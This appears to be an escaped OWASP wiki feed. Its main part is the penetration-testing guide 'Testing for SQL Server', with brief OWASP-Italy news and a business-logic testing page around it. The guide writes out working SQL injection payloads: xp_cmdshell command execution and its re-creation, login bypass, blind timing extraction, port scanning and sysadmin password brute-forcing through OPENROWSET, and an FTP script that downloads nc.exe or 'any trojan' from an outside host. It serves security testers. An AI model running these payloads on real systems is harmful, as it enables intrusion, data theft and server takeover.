=== May, 2005 - Isaca Roma Newsletter about OWASP-Italy ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
ISACA Roma Newsletter has published an [http://www.isacaroma.it/html/newsletter/?q=node/78 interview to OWASP-Italy]&lt;br /&gt;
&lt;br /&gt;
=== April, 2005 - Published &amp;quot;MMS Spoofing&amp;quot; ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
We have published a presentation describing a detailed case study of a web application vulnerabilty [http://www.owasp.org/images/7/72/MMS_Spoofing.ppt (MMS Spoofing)].&lt;br /&gt;
&lt;br /&gt;
Jim Hewitt, CISSP PMP working at CGI-AMS, affirms (slide#78):&lt;br /&gt;
&amp;quot;Very interesting analysis of spoofed cell phone messaging and fraudulent billing&amp;quot;. See:&lt;br /&gt;
www.techvalleynyissa.org/Resources/2005_07_WebApplicationSecurity.ppt&lt;br /&gt;
&lt;br /&gt;
=== April, 2005 - Published an article on ICT Security magazine ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
We have written an article describing the OWASP projects, Web Application Security and the next challenges. '''ICT Security'''.(the italian magazine about Information Security) has published the article on the number 33 - April 2005.&lt;br /&gt;
&lt;br /&gt;
=== March, 2005 - OWASP Top-10 in Italian ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Thanks to Matteo Paolelli we have translated the '''&amp;quot;OWASP Top Ten Vulnerabilties in Web Application Security&amp;quot;''' in italian language. You can download it [http://www.owasp.org/docroot/owasp/projects/topten/OWASPTopTen2004-ITA.pdf here].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Tools &amp;amp; Research ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== Dec, 2006 - Sqlmap v0.2 ===&lt;br /&gt;
&lt;br /&gt;
Bernardo Damele and Daniele Bellucci have released a second version of the tool &amp;quot;sqlmap&amp;quot; for Automatic Blind SQL Injection. [http://sqlmap.sourceforge.net/ Here] you can download the tool&lt;br /&gt;
&lt;br /&gt;
=== September, 2006 - Wisec Project ===&lt;br /&gt;
&lt;br /&gt;
Stefano Di Paola is developing Wisec - The Wiki Security Project [http://www.wisec.it Here] you can accesses the project.&lt;br /&gt;
&lt;br /&gt;
=== July, 2006 - Sqlmap v0.0.1 ===&lt;br /&gt;
&lt;br /&gt;
Daniele Bellucci has developed a first version of the tool &amp;quot;sqlmap&amp;quot; for Automatic Blind SQL Injection. [http://www.linux.it/~belch/?p=17 Here] you can download the tool&lt;br /&gt;
&lt;br /&gt;
----&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=17137</id>
		<title>Testing for SQL Server</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=17137"/>
				<updated>2007-03-10T15:34:29Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In this paragraph we describe some [http://www.owasp.org/index.php/SQL_Injection_AoC SQL Injection] techniques that utilize specific features of Microsoft SQL Server.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute of SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
As explained in [[SQL injection]] a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:&lt;br /&gt;
&lt;br /&gt;
* Application parameters in query strings (e.g., GET requests)&lt;br /&gt;
* Application parameters included as part of the body of a POST request&lt;br /&gt;
* Browser-related information (e.g., user-agent, referer)&lt;br /&gt;
* Host-related information (e.g., host name, IP)&lt;br /&gt;
* Session-related information (e.g., user ID, cookies) &lt;br /&gt;
&lt;br /&gt;
Microsoft SQL server has a few particularities so that some exploits need to be specially customized for this application that the penetration tester has to know in order to exploit them along the tests. &lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===SQL Server Peculiarities===&lt;br /&gt;
&lt;br /&gt;
To begin, let's see some SQL Server operators and commands/stored procedures that are useful in a SQL Injection test:&lt;br /&gt;
&lt;br /&gt;
* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query, this won't be necessary in every case)&lt;br /&gt;
* query separator: ; (semicolon)&lt;br /&gt;
* Useful stored procedures include:&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] executes any command shell in the server with the same permissions that it is currently running. By default, only '''sysadmin''' is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)&lt;br /&gt;
** '''xp_regread''' reads an arbitrary value from the Registry (undocumented extended procedure)&lt;br /&gt;
** '''xp_regwrite''' writes an arbitrary value into the Registry (undocumented extended procedure)&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires '''sysadmin''' privileges.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Let's see now some examples of specific SQL Server attacks that use the aformentioned functions. Most of these examples will use the '''exec''' function.&lt;br /&gt;
&lt;br /&gt;
Below we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file, assuming that the web server and the DB server reside on the same host. The following syntax uses xp_cmdshell:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec master.dbo.xp_cmdshell 'dir c:\inetpub &amp;gt; c:\inetpub\wwwroot\test.txt'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, we can use sp_makewebtask:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
A successful execution will create a file that it can be browsed by the pen tester. Keep in mind that sp_makewebtask is deprecated and, even if it works to all SQL Server versions up to 2005, might be removed in the future.&lt;br /&gt;
&lt;br /&gt;
Also SQL Server built-in functions and environment variables are very handy: The following uses the function '''db_name()''' to trigger an error that will return the name of the database:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20db_name()) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notice the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
CONVERT will try to convert the result of db_name (a string) into an integer variable, triggering an error that, if displayed by the vulnerable application, will contain the name of the DB.&lt;br /&gt;
&lt;br /&gt;
The following example uses the environment variable '''@@version ''', combined with a &amp;quot;union select&amp;quot;-style injection, in order to find the version of the SQL Server.&lt;br /&gt;
&amp;lt;pre&amp;gt;/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
And here's the same attack, but using again the conversion trick:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of a SQL-injection attack or direct access to the SQL listener. &lt;br /&gt;
&lt;br /&gt;
There follow several examples that exploit SQL injection vulnerabilities through different entry points.&lt;br /&gt;
&lt;br /&gt;
===Example 1: Testing for SQL Injection in a GET request. ===&lt;br /&gt;
&lt;br /&gt;
The most simple (and sometimes rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string &amp;quot;' or '1'='1&amp;quot; (without double quotes): &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&amp;amp;Password='%20or%20'1'='1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application. &lt;br /&gt;
&lt;br /&gt;
===Example 2: Testing for SQL Injection in a GET request (2).===&lt;br /&gt;
&lt;br /&gt;
In order to learn how many columns there exist &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Example 3: Testing in a POST request ===&lt;br /&gt;
&lt;br /&gt;
SQL Injection, HTTP POST Content: email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
A complete post example:&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/forgotpass.asp HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Host: vulnerable.web.app&lt;br /&gt;
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13&lt;br /&gt;
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
 Accept-Language: en-us,en;q=0.5&lt;br /&gt;
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
 Keep-Alive: 300&lt;br /&gt;
 Proxy-Connection: keep-alive&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;http://vulnerable.web.app/forgotpass.asp&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
 Content-Length: 50&amp;lt;br&amp;gt;&lt;br /&gt;
 email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
The error message obtained when a ' (single quote) character is entered at the email field is:&lt;br /&gt;
&lt;br /&gt;
 Microsoft OLE DB Provider for SQL Server error '80040e14'&lt;br /&gt;
 Unclosed quotation mark before the character string '' '.&lt;br /&gt;
 /forgotpass.asp, line 15 &lt;br /&gt;
&lt;br /&gt;
===Example 4: Yet another (useful) GET example===&lt;br /&gt;
&lt;br /&gt;
Obtaining the application's source code&lt;br /&gt;
&lt;br /&gt;
 a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--&lt;br /&gt;
&lt;br /&gt;
===Example 5: custom xp_cmdshell===&lt;br /&gt;
&lt;br /&gt;
All books and papers describing the security best practices for SQL Server recommend to disable xp_cmdshell in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2000:&lt;br /&gt;
* If xp_cmdshell has been disabled with sp_dropextendedproc, we can simply inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS&lt;br /&gt;
  DECLARE @result int, @OLEResult int, @RunResult int&lt;br /&gt;
  DECLARE @ShellID int&lt;br /&gt;
  EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OADestroy @ShellID&lt;br /&gt;
  return @result&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell using sp_oacreate, sp_method and sp_destroy (as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_cmdshell we created (even if it was not working), otherwise the two declarations will collide.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2005, xp_cmdshell can be enabled injecting the following code instead:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
master..sp_configure 'show advanced options',1&lt;br /&gt;
reconfigure&lt;br /&gt;
master..sp_configure 'xp_cmdshell',1&lt;br /&gt;
reconfigure&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 6: Referer / User-Agent===&lt;br /&gt;
&lt;br /&gt;
The REFERER header set to:&lt;br /&gt;
&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:&lt;br /&gt;
&lt;br /&gt;
 User-Agent: user_agent', 'some_ip'); [SQL CODE]--&lt;br /&gt;
&lt;br /&gt;
===Example 7: SQL Server as a port scanner===&lt;br /&gt;
&lt;br /&gt;
In SQL Server, one of the most useful (at least for the penetration tester) commands is OPENROWSET, which is used to run a query on another DB Server and retrieve the results. The penetration tester can use this command to scan ports of other machines in the target network, injecting the following query:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will attempt a connection to the address x.y.w.z on port p. If the port is closed, the following message will be returned:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SQL Server does not exist or access denied&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On the other hand, if the port is open, one of the following errors will be returned:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
General network error. Check your network documentation&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Of course, the error message is not always available. If that is the case, we can use the response time to understand what is going on: with a closed port, the timeout (5 seconds in this example) will be consumed, whereas an open port will return the result right away. &lt;br /&gt;
&lt;br /&gt;
Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.&lt;br /&gt;
&lt;br /&gt;
===Example 8: Upload of executables===&lt;br /&gt;
&lt;br /&gt;
Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the target DB Server. A very common choice is netcat.exe, but any trojan will be useful here.&lt;br /&gt;
If the target is allowed to start FTP connections to the tester's machine, all that is needed is to inject the following queries:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo open ftp.tester.org &amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo USER &amp;gt;&amp;gt; ftpscript.txt';-- &lt;br /&gt;
exec master..xp_cmdshell 'echo PASS &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo bin &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo get nc.exe &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo quit &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
At this point, nc.exe will be uploaded and available.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
If FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, debug.exe, that is installed by default in all Windows machines. Debug.exe is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ascii file), upload it line by line and finally call debug.exe on it. There are several tools that create such debug files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject will therefore be the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #1 of n] &amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #2 of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
....&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #n of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'debug.exe &amp;lt; debugscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
At this point, our executable is available on the target machine, ready to be executed.&lt;br /&gt;
&lt;br /&gt;
There are tools that automate this process, most notably Bobcat, which runs on Windows, and Sqlninja, which runs on *nix (See the tools at the bottom of this page).&lt;br /&gt;
&lt;br /&gt;
===Obtain information when it is not displayed (Out of band)===&lt;br /&gt;
&lt;br /&gt;
Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[http://www.owasp.org/index.php/Blind_SQL_Injection|Blind SQL injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL-injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested. &lt;br /&gt;
&lt;br /&gt;
Other options for out of band attacks are described in Sample 4 above. &lt;br /&gt;
&lt;br /&gt;
===Blind SQL injection attacks===&lt;br /&gt;
&lt;br /&gt;
====Trial and error====&lt;br /&gt;
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL-injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors]]) against this channel and watch the response. For example, if the web application is looking for a book using a query&lt;br /&gt;
&lt;br /&gt;
   select * from books where title='''text entered by the user'''&lt;br /&gt;
&lt;br /&gt;
then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL-injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.&lt;br /&gt;
&lt;br /&gt;
====In case more than one error message is displayed====&lt;br /&gt;
On the other hand, if no prior information is available there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example: &lt;br /&gt;
&lt;br /&gt;
* On some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated for instance by a query with unclosed quotes. &lt;br /&gt;
* While on other cases the server will return a 200 OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''. &lt;br /&gt;
&lt;br /&gt;
This 1 bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.&lt;br /&gt;
&lt;br /&gt;
Another out-of-band method is to output the results through HTTP browseable &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Timing attacks====&lt;br /&gt;
There is one more possibility for making a blind SQL-injection attack when there is not visible feedback from the application: by measuring the time that it takes the web application to answer a request. An attack of this sort is described by Anley in ([2]) from where we take the next examples. A typical approach uses the ''waitfor delay'' command: let's say that the attacker wants to check if the 'pubs' sample database exists, he will simply inject the following command:&lt;br /&gt;
&lt;br /&gt;
 if exists (select * from pubs..pub_info) waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
Depending on the time that the query takes to return, we will know the answer. In fact, what we have here is two things: a '''SQL-injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information for each query. Hence, using several queries (as much queries as the bits in the required information) the pen tester can get any data that is in the database. Look at the following query&lt;br /&gt;
&lt;br /&gt;
 declare @s varchar(8000)&lt;br /&gt;
 declare @i int&lt;br /&gt;
 select @s = db_name()&lt;br /&gt;
 select @i = [some value]&lt;br /&gt;
 if (select len(@s)) &amp;lt; @i waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
Measuring the response time and using different values for @i, we can deduce the length of the name of the current database, and then start to extract the name itself with the following query:&lt;br /&gt;
&lt;br /&gt;
 if (ascii(substring(@s, @byte, 1)) &amp;amp; ( power(2, @bit))) &amp;gt; 0 waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
This query will wait for 5 seconds if bit '@bit' of byte '@byte' of the name of the current database is 1, and will return at once if it is 0. Nesting two cycles (one for @byte and one for @bit) we will we able to extract the whole piece of information.&lt;br /&gt;
&lt;br /&gt;
However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL-injection attacks cannot be done, as the pen tester should only come up with any time consuming operation that is not filtered. For example&lt;br /&gt;
&lt;br /&gt;
 declare @i int select @i = 0&lt;br /&gt;
 while @i &amp;lt; 0xaffff begin&lt;br /&gt;
 select @i = @i + 1&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
====Checking for version and vulnerabilities====&lt;br /&gt;
The same timing approach can be used also to understand which version of SQL Server we are dealing with. Of course we will leverage the built-in @@version variable. Consider the following query:&lt;br /&gt;
&lt;br /&gt;
 select @@version&lt;br /&gt;
&lt;br /&gt;
On SQL Server 2005, it will return something like the following:&lt;br /&gt;
&lt;br /&gt;
 Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 &amp;lt;snip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The '2005' part of the string spans from the 22nd to the 25th character. Therefore, one query to inject can be the following:&lt;br /&gt;
&lt;br /&gt;
 if substring((select @@version),25,1) = 5 waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
Such query will wait 5 seconds if the 25th character of the @@version variable is '5', showing us that we are dealing with a SQL Server 2005. If the query returns immediately, we are probably dealing with SQL Server 2000, and another similar query will help to clear all doubts.&lt;br /&gt;
&lt;br /&gt;
===Example 9: bruteforce of sysadmin password===&lt;br /&gt;
&lt;br /&gt;
To bruteforce the sysadmin password, we can leverage the fact that OPENROWSET needs proper credentials to successfully perform the connection and that such a connection can be also &amp;quot;looped&amp;quot; to the local DB Server.&lt;br /&gt;
Combining these features with an inferenced injection based on response timing, we can inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select * from OPENROWSET('SQLOLEDB','';'sa';'&amp;lt;pwd&amp;gt;','select 1;waitfor delay ''0:0:5'' ')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
What we do here is to attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using &amp;quot;sa&amp;quot; and &amp;quot;&amp;lt;pwd&amp;gt;&amp;quot; as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In &amp;quot;Data-mining with SQL Injection and Inference&amp;quot;, David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself. &lt;br /&gt;
Once we have the sysadmin password, we have two choices:&lt;br /&gt;
&lt;br /&gt;
* Inject all following queries using OPENROWSET, in order to use sysadmin privileges&lt;br /&gt;
&lt;br /&gt;
* Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferenced injection against the variable system_user.&lt;br /&gt;
&lt;br /&gt;
Remember that OPENROWSET is accessible to all users on SQL Server 2000 but it is restricted to administrative accounts on SQL Server 2005.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.nextgenss.com/research/papers/sqlinference.pdf&lt;br /&gt;
* Chris Anley, &amp;quot;(more) Advanced SQL Injection&amp;quot; - http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf&lt;br /&gt;
* Steve Friedl's Unixwiz.net Tech Tips: &amp;quot;SQL Injection Attacks by Example&amp;quot; - http://www.unixwiz.net/techtips/sql-injection.html&lt;br /&gt;
* Alexander Chigrik: &amp;quot;Useful undocumented extended stored procedures&amp;quot; - http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm&lt;br /&gt;
* Antonin Foller: &amp;quot;Custom xp_cmdshell, using shell object&amp;quot; - http://www.motobit.com/tips/detpg_cmdshell&lt;br /&gt;
* Paul Litwin: &amp;quot;Stop SQL Injection Attacks Before They Stop You&amp;quot; - http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjection/&lt;br /&gt;
* SQL Injection - http://msdn2.microsoft.com/en-us/library/ms161953.aspx&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Francois Larouche: Multiple DBMS Sql Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]&lt;br /&gt;
* Northern Monkee: [[http://www.northern-monkee.co.uk/projects/bobcat/bobcat.html Bobcat]]&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [[http://sqlninja.sourceforge.net sqlninja]]&lt;br /&gt;
* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_business_logic&amp;diff=17115</id>
		<title>Testing for business logic</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_business_logic&amp;diff=17115"/>
				<updated>2007-03-09T16:25:55Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Business logic comprises: &lt;br /&gt;
* Business rules that express business policy (such as channels, location, logistics, prices, and products); and&lt;br /&gt;
* Workflows that are the ordered tasks of passing documents or data from one participant (a person or a software system) to another.&lt;br /&gt;
&lt;br /&gt;
The attacks on the business logic of an application are dangerous, difficult to detect and specific to that application.&lt;br /&gt;
&lt;br /&gt;
==Description of the Issue==&lt;br /&gt;
 &lt;br /&gt;
Business logic can have security flaws that allow a user to do something that isn't allowed by the business. For example, if there is a limit on reimbursement of $1000, could an attacker misuse the system to request more money than is allowed? Or perhaps you are supposed to do operations in a particular order, but an attacker could invoke them out of sequence. Or can a user make a purchase for a negative amount of money? Frequently these business logic security checks simply are not present in the application.&lt;br /&gt;
&lt;br /&gt;
Automated tools find it hard to understand context, hence it's up to a person to perform these kinds of tests.&lt;br /&gt;
&lt;br /&gt;
'''Business Limits and Restrictions'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Consider the rules for the business function being provided by the application. Are there any limits or restrictions on people's behavior? Then consider whether the application enforces those rules. It's generally pretty easy to identify the test and analysis cases to verify the application if you're familiar with the business. If you are a third-party tester, then you're going to have to use your common sense and ask the business if different operations should be allowed by the application.&lt;br /&gt;
&lt;br /&gt;
